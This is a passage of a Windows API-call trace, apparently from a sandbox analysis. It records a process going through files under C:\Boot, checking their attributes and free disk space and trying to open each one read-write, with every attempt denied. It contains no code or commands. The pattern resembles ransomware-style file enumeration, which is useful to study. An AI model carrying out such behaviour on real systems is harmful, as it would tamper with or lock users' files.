ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0095.946] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.946] GetLastError () returned 0x5 [0095.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.947] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0095.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.949] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.950] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0095.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.950] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0095.950] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.950] GetLastError () returned 0x5 [0095.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.951] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.953] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.954] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0095.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.954] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0095.954] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.955] GetLastError () returned 0x5 [0095.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.956] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0095.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.957] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.958] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0095.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.958] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0095.958] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.958] GetLastError () returned 0x5 [0095.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.959] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0095.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.961] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.962] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0095.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.962] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0095.962] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.962] GetLastError () returned 0x5 [0095.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.963] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0095.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.965] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.966] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0095.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.966] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0095.966] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.966] GetLastError () returned 0x5 [0095.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.967] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0095.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.969] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fr-FR", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.970] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0095.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.970] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0095.970] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.970] GetLastError () returned 0x5 [0095.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.971] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0095.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.973] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\hu-HU", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.974] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0095.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.974] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0095.974] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.974] GetLastError () returned 0x5 [0095.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.975] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0095.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.977] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\it-IT", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.978] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, 